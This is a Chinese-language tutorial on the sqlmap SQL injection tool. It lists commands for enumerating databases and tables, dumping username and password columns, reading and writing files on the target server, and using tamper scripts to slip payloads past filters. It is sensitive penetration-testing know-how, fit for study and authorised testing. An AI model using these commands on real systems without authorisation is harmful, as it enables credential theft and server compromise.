sqlmap的基本使用方法

sqlmap

半自动化注入:burpsuite

自动化注入:sqlmap

sqlmap需要使用python2环境

基本探测参数

  1. -u "url" 设定注入点

  2. --dbs 列出所有数据库名

    --current-db 列出当前数据库

    -D 指定一个数据库

  3. --tables 列出所有表名

    --T 指定一个表

  4. --columns 列出所有字段名

    -C 指定字段

  5. --dump 列出字段内容

示例:

  1. sqlmap -u url --dbs --batch
    得到数据库有information_schema、security等
  2. sqlmap -u url -D security --tables --batch
    得到表有users
  3. sqlmap -u url -D security -T users --columns --batch
    得到username和password
  4. sqlmap -u url -D security -T users -C username,password --dump --batch
    得到具体值

-v 输出级别分为0-6,默认为1 :
0:只显示Python的tracebacks信息、错误信息和关键信息
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。

-d 直接连接数据库

获取目标参数

  1. --batch 所有交互选项使用默认选项

  2. --banner 返回banner信息

  3. 对单一url探测 sqlmap -u url

  4. 从文件中读取目标:

    • -l 从burpsuite proxy 或者webscarab proxy中读取http请求日志文件
      burpsuite==>Project options==>Logging==>Proxy==>Requests
    • -x 从sitemap.xml站点地图文件中读取目标探测

    • -m 从多行文本格式文件中读取多个目标,对多个目标进行探测

    • -r 从文本文件中读取http请求作为sql注入的探测目标

    • -c 从配置文件 sqlmap.conf中读取目标探测

  5. -g 自动利用google获取指定的googlehack等目标,然后利用交互向导模式进行探测

  6. -f fingerprint

设置请求参数

  1. 设置http方法
    一般情况下会自动使用合适的方法,但是PUT方法不会自动使用 --method=PUT

  2. 设置post提交参数

    默认方法是GET,可以提供POST请求中的数据将其隐性改变成POST
    Sqlmap -u url --data="data" -f

    使用burpsuite抓包,保存为1.txt
    sqlmap -r 1.txt

  3. 设置参数分隔符
    默认分隔符为&,也可以指定 --param-del="分隔符"

  4. 设置cookie --cookie

    使用场景:web应用有基于cookie验证的过程 想用cookie的值进行注入

    web应用程序使用set-cookie进行响应,sqlmap将在所有进一步http请求中自动使用其值作为cookie标头。可以使用--drop-set-cookie将忽略任何即将到来的set-cookie头

    load-cookie 可以用来提供包含Netscape/wget格式的cookie的特殊文件

    注意:如果对http cookie值进行探测,需要设置--level 2及以上

  5. 设置user-agent
    设置为指定值 --user-agent=""
    设置为随机值 --random-agent
    target.txt中在user-agent后边加一个*,表示对user-agent进行探测

    注意:如果对user-agent值进行探测,需要设置--level 3及以上

  6. 设置host

    注意:如果对host值进行探测,需要设置--level 5

  7. 设置referer
    注意:如果对referer值进行探测,需要设置--level 3及以上

  8. 额外的http头
    一个头 -H或--header
    多个头 --headers="Host:www,target.com\nUser-agent:Firefox" -v 5
    多个标头用换行分隔
    也可以在配置文件中进行设置
    -v 5 是为了现实输出结果

  9. 读文件
    --file-read '文件绝对路径'

  10. 写入文件
    --file-write '本地绝对路径' --file-dest '目标绝对路径'

  11. 设定探测类型
    --technique BEUSTQ

    • B 布尔类型
    • E 基于错误
    • U union查询
    • S 堆叠查询
    • T 基于时间的查询
    • Q 查询

    若不指定则使用全部技术

使用tamper脚本

sqlmap ... --tamper '脚本名'

常见的tamper有:

  1. apostrophemask.py
    将单引号URL编码,避免被过滤

  2. apostrophenullencode.py

    将单引号替换为宽字节编码,避免被过滤

  3. base64encode.py
    进行base64编码

  4. between.py
    将大于号和等号替换为between

  5. equaltolike.py
    将=替换为like

  6. space2comment.py
    将空格替换为/**/

  7. space2randomblank.py
    将空格替换为随机的空白字符

  8. space2plus.py
    将空格替换为+

  9. space2mysqldash.py
    将空格替换为--\n

  10. bluecoat.py
    替换sql关键字后边的空格,并且将=替换为like

你可能感兴趣的:(sqlmap的基本使用方法)